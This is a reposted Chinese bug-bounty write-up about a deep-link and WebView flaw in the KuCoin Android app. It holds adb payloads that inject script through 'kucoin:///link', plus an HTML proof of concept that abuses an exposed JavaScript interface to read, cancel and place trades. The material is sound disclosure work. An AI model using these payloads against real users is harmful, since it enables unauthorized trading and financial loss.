利用 JavaScript 接口对全球性加密货币交易所 Android 应用进行未经授权的访问

admin 2024年9月13日03:03:00评论13 views字数 8606阅读28分41秒阅读模式

利用 JavaScript 接口对全球性加密货币交易所 Android 应用进行未经授权的访问

简介

Android 生态系统中的 Webview 是 Android 视图类的扩展,可让您将网页显示为应用程序活动布局的一部分。您可以将其称为应用程序中内置的 Web 浏览器,但它不包含完全开发的 Web 浏览器的功能,例如导航控件或地址栏。它是 Android 应用程序生态系统中广泛使用的组件之一,但也容易出现许多潜在错误。如果可以在 Webview 中加载任意 URL 或执行任意 JavaScript,则可能会导致身份验证令牌泄露、任意文件被盗以及访问任意活动。在这篇博客中,我将展示如何利用应用程序公开的 JavaScript 接口来执行关键的身份验证操作,如下达交易订单、取消交易订单或停用账户。

查找漏洞

去年,我在 hackenproof 上发现了一个名为 KuCoin 的项目,该项目对移动目标的关注点很有趣,赏金表也很不错,所以我想,如果我能找到他们感兴趣的漏洞,我就可以从他们那里得到一笔不错的赏金。

利用 JavaScript 接口对全球性加密货币交易所 Android 应用进行未经授权的访问

我开始测试该应用程序,在我的设备上安装了该应用程序,在应用程序中创建了一个帐户,使用 jadx 反编译了该应用程序。我的第一个目标是在应用程序的 webview 中打开任意 url,所以我开始在应用程序中寻找深层链接。

在 AndroidManifest.xml 中,应用程序定义了一个名为 的导出活动,com.kubi.kucoin.feature.UriActivity用于处理传入应用程序的深层链接。

<activity            android:theme="@style/kucoin_splash"            android:name="com.kubi.kucoin.feature.UriActivity"            android:exported="true"            android:screenOrientation="portrait">            <intent-filter>                <data android:scheme="kucoin"/>                <action android:name="android.intent.action.VIEW"/>                <category android:name="android.intent.category.DEFAULT"/>                <category android:name="android.intent.category.BROWSABLE"/>            </intent-filter>            <intent-filter android:autoVerify="true">                <action android:name="android.intent.action.VIEW"/>                <category android:name="android.intent.category.DEFAULT"/>                <category android:name="android.intent.category.BROWSABLE"/>                <data                    android:scheme="https"                    android:host="kucoin.onelink.me"                    android:pathPrefix="/iqEP"/>            </intent-filter>        </activity>

我打开了,com.kubi.kucoin.feature.UriActivity乍一看,我无法弄清楚深度链接处理逻辑,应用程序使用路由器架构在应用程序内部导航。然后我kucoin://在 jadx 中搜索字符串,发现应用程序中使用了以下深度链接。

利用 JavaScript 接口对全球性加密货币交易所 Android 应用进行未经授权的访问

我发现以下深度链接kucoin:///link?url=看起来很有希望。因此,我尝试kucoin:///link?url=https://example.com向应用程序发送一个类似的 uri,我收到一条消息说 you are going to leave KuCoin for {url} This site you try might be a phishing site ...,然后我发送了一个类似的 uri kucoin:///link?url=https://kucoin.com,并且 url 加载到了 webview 中,因此在回到静态分析之前,我尝试了另一个 payloadkucoin:///link?url=javascript://kucoin.com/%0adocument.write(1111)并且它成功了,我很快制作了一个简单的 poc,显示应用程序的 webview 中任意 url 加载并发送了报告。

adb shell am start -n -d 'kucoin:///link?url=javascript://kucoin.com/%250adocument.write("<iframe%20src=https://www.example.com%20style%3Dposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bborder%3Anone%3B></iframe>");//'

在发送报告时,Playstore 上可用的最新版本是,v3.81.1后来团队回复了此消息

利用 JavaScript 接口对全球性加密货币交易所 Android 应用进行未经授权的访问

后来我发现应用程序已更新,v3.82.0并且 kucoin 团队已针对提交的报告对该版本进行了评估。这意味着我必须找到绕过方法或其他方法在 webview 中打开任意 url。

顺便说一句,这是 kucoin 团队在v3.82.0 2019 年实施的修复。j.y.s0.j.e.java

public final boolean m6255f(String url) {
        Intrinsics.checkNotNullParameter(url, "url");
        if (m6256e()) {
            Issues.m5912c(new WebMessage("WhiteListMatcher isEmpty " + url, "WhiteListMatcher", false, 4, null), null, 2, null);
            return false;
        }
        if (this.f36890e) {
            if (!URLUtil.isNetworkUrl(url)) {
                return false;
            }
        } else if (!URLUtil.isHttpsUrl(url)) {
            return false; //checks whether received url have http/https scheme or not
        }

我再次开始对该应用程序进行静态分析,并找到了另一个导致第二次攻击的漏洞。

在In com.kubi.web.ui.WebViewActivity.java

public void onCreate(Bundle bundle) {
        //...//
        Intent intent3 = getIntent();
        Intrinsics.checkNotNullExpressionValue(intent3, "intent");
        this.f19927C = intentUtils.m10181f(intent3, "data"); // it is checking if the received uri contains data query parameter
public final void b1() {
        String str = this.f19927C;
            if (str != null && str.length() != 0) {
                z = false;
            }
            if (!z) {
                m25597c.loadData(C10208p.m25765h(this.f19927C), "text/html", "UTF-8");
            }
}
在WebViewActivity课堂上我注意到这行代码intentUtils.m10181f(intent3, "data");正在检查收到的 uri 是否包含data查询参数,这意味着应用程序也接受深度链接kucoin:///link?data=,但它没有出现在搜索结果中,这就是为什么理解你正在测试的应用程序的逻辑非常重要如果你不想错过一些非常明显的东西。
我构建了另一个 uri 并将其发送到应用程序,这次应用程序使用webview.loadData方法在 webview 中加载给定的数据,并且应用程序没有验证发送到应用程序的数据类型。
adb shell am start -d 'kucoin:///link?data=<script>document.write("<iframe%20src=https://www.example.com%20style%3Dposition%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bborder%3Anone%3B></iframe>");</script>'

发现这一点后我开始进一步寻找增加此漏洞影响的方法,在程序页面中提到他们对涉及 javascript 接口的攻击感兴趣,因此我开始寻找应用程序中 JS 接口的使用情况。

Android 应用程序使用webview.addJavascriptInterface方法和@JavascriptInterface注释将方法公开,以便从 JavaScript 代码访问。

在com.kubi.sdk.hybrid.core.HybridWebView.java

public final void m12588b(IHybridJsInterface jsInterface, String name) {
        Intrinsics.checkNotNullParameter(jsInterface, "jsInterface");
        Intrinsics.checkNotNullParameter(name, "name");
        this.f16125f.add(name);
        addJavascriptInterface(new HybridJsInterface(this, jsInterface), name);
    }

然后我在应用程序中搜索@JavascriptInterface注释字符串,发现该 prompt方法在类中暴露给了javascript代码j.y.k0.hybrid.core.HybridJsInterface。

@JavascriptInterface
    
    public final void prompt(String message) {
         // JavascriptInterface LOGIC //
    }

在j.y.s0.d.h.b.java

public boolean mo29545a(InterfaceC18155c container, String event, HashMap<String, Object> params, HybridJsCallback hybridJsCallback) {
        Intrinsics.checkNotNullParameter(container, "container");
        Intrinsics.checkNotNullParameter(event, "event");
        Intrinsics.checkNotNullParameter(params, "params");
        JSONObject jSONObject = new JSONObject(event);
        String optString = jSONObject.optString(FirebaseAnalytics.Param.METHOD);
        String url = jSONObject.optString(ImagesContract.URL);
        if (optString == null) {
            return true;
        }
        int hashCode = optString.hashCode();
        if (hashCode != 102230) {
            if (hashCode == 3446944 && optString.equals("post")) {
                BaseActivity i02 = container.i0();
                Intrinsics.checkNotNull(i02);
                Intrinsics.checkNotNullExpressionValue(url, "url");
                m6326c(i02, url, params, hybridJsCallback);
                return true;
            }
            return true;
        } else if (optString.equals("get")) {
            BaseActivity i03 = container.i0();
            Intrinsics.checkNotNull(i03);
            Intrinsics.checkNotNullExpressionValue(url, "url");
            m6327b(i03, url, params, hybridJsCallback);
            return true;
        } else {
            return true;
        }
    }

从那里我遇到了这个方法,它从收到的 json 字符串的关键参数和中获取值method。javascript接口消息正在做的事情是它将接收一个 json 消息,如果收到的消息包含关键参数并且有它的值,那么该方法将调用上述方法。urlparamsprompttypeproxymo29545a

这个方法的作用mo29545a是,它对应用程序用来与后端服务器通信的 API 进行经过身份验证的任意post请求get,appapi-v2.xcoinsystem.com然后将请求的响应发送回 JavaScript 代码。

从那里,为了展示漏洞的影响,我制作了一个 poc,它显示你可以读取所有未平仓交易头寸,取消所有未平仓头寸或创建新的交易。

<html>
  <head>
    <title>Exploiting javascript interfaces</title>
    <style>
      #callback-box {
        border: 1px solid black;
        padding: 10px;
        margin-top: 20px;
      }
    </style>
  </head>
  <body>
    <p>reading open order positions</p>
    <button id="read-position">Read order positions</button>
    <p>Cancel Open Position</p>
    <button id="Cancel-Order">Cancel all open Orders</button>
    <p>Create xrpusdt sell Position</p>
    <button id="open-position">Open Position</button>
    <div id="callback-box"></div>
    <script>
      window.callbackDispatcher = function(callbackId, data) {
        var callbackDiv = document.createElement("div");
        callbackDiv.innerText = "Callback ID: " + callbackId + "nData: " + data;
        document.getElementById("callback-box").appendChild(callbackDiv);
      };
      document.getElementById("Cancel-Order").addEventListener("click", function() {
        window.KuCoin.prompt('{"type":"proxy","params":{"method":"post","url":"v1/trade/order-cancel","tradeType":"TRADE","type":"limit"},"callback":"window.callbackDispatcher","callbackId":"4b7b8f87-c633-4aa4-b0dd-1f85121dacba"}');
      });
      document.getElementById("open-position").addEventListener("click", function() {
        window.KuCoin.prompt('{"type":"proxy","params":{"method":"post","url":"v1/trade/order","symbol":"XRP-USDT","side":"sell","size":"1","price":"1","type":"limit","tradeType":"TRADE"},"callback":"window.callbackDispatcher","callbackId":"4b7b8f87-c633-4aa4-b0dd-1f85121dacba"}');
      });
      document.getElementById("read-position").addEventListener("click", function() {
        window.KuCoin.prompt('{"type":"proxy","params":{"method":"get","url":"v2/kc/trade/orders?status=active"},"callback":"window.callbackDispatcher","callbackId":"4b7b8f87-c633-4aa4-b0dd-1f85121dacba"}');
      });
    </script>
  </body>
</html>

这是 poc 视频,这种攻击的唯一限制是用户首先需要登录应用程序并使用他们的交易密码来创建交易(由于交易应用程序的令牌寿命很短,如果他们在很长时间后进行交易,则需要先进行身份验证)并且如果有人是活跃的交易者并且受到此漏洞的攻击,那么这些限制就不会出现。

上述攻击清楚地表明这是一个高严重性问题,将给用户造成经济损失。现在我将向您展示 kucoin 团队和 hackenproof 中介如何处理此报告。

利用 JavaScript 接口对全球性加密货币交易所 Android 应用进行未经授权的访问

  • 首先,他们将攻击媒介设置为本地 - 我不明白从浏览器触发漏洞如何算作本地攻击媒介。

  • 我能够使用他们的 api 发出任意经过身份验证的请求,并且能够收到响应,因此我可以完全控制我可以接收什么样的信息,正如我在 poc 中所展示的那样。

  • 允许不受信任的 javascript 代码发出任意经过身份验证的请求?这清楚地表明应用程序的完整性已被破坏。

  • 我还可以通过冻结账户来阻止受害者访问他们的账户,因此可用性也不低。

我要求他们重新考虑严重性,但他们没有回应,所以我向 hackenproof 团队寻求调解,经过几个月的更新要求后,他们将漏洞从低严重性升级到 cvss 评分 4.3,这又是一个不公平的计算。即使 kucoin 也同意这会造成经济损失,但他们决定将其评为4.3cvss 评分的中等严重性。这就是他们的回应。

利用 JavaScript 接口对全球性加密货币交易所 Android 应用进行未经授权的访问

虽然我已经从这件事中走出来了,但写这篇博客时,我当时的愤怒又浮现出来了。我希望任何读到这篇文章的人都能得到一些新的见解。下期再见,再见 利用 JavaScript 接口对全球性加密货币交易所 Android 应用进行未经授权的访问

原文始发于微信公众号(Ots安全):利用 JavaScript 接口对“全球性”加密货币交易所 Android 应用进行未经授权的访问

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日03:03:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 JavaScript 接口对全球性加密货币交易所 Android 应用进行未经授权的访问https://cn-sec.com/archives/3158976.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息